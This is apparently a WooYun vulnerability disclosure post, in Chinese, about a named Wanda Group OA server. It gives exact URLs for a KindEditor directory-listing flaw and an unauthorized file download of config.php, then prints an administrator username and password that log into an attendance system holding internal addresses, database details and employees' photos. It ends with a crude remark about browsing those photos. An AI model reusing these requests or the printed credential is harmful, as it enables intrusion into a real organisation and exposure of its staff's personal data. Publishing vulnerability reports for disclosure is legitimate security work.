WooYun.org

WooYun: 万达集团某重要系统弱口令引发的一些列漏洞 连锁反应
http://oa.chinawanda.com:1010/

1# 列目录漏洞

有个目录 eweb 访问之

使用了 kindeditor（未授权访问）
该编辑器有个列目录的漏洞，直接构造

http://oa.chinawanda.com:1010/eweb/php/file_manager_json.php?dir=file&path=/

找到该网站的根目录 /var/www/html

2# 下载配置文件(未授权访问)

http://oa.chinawanda.com:1010/down.php?urls=

如直接访问地址 http://oa.chinawanda.com:1010/down.php?urls=config.php 会被直接跳转到登录页面

通过上面的列目录漏洞得知，网站文件的绝对路径为 /var/www/html/ 下
这里构造 http://oa.chinawanda.com:1010/down.php?urls=/var/www/html/config.php

成功获取 root 及密码

3# 连锁反应 --- 登录考勤系统（管理员身份）

http://oa.chinawanda.com:9000/iclock/accounts/login/

用户名密码:admin/Wdjt37068382 成功登录

泄露148个内部地址

还可以下发命令

泄露数据库信息（此处可探测内部数据库地址）

用户信息

泄露全部员工上传的照片

http://oa.chinawanda.com:9000/iclock/file/photo/

找了半天美女，最终发现一枚帅哥，

收工…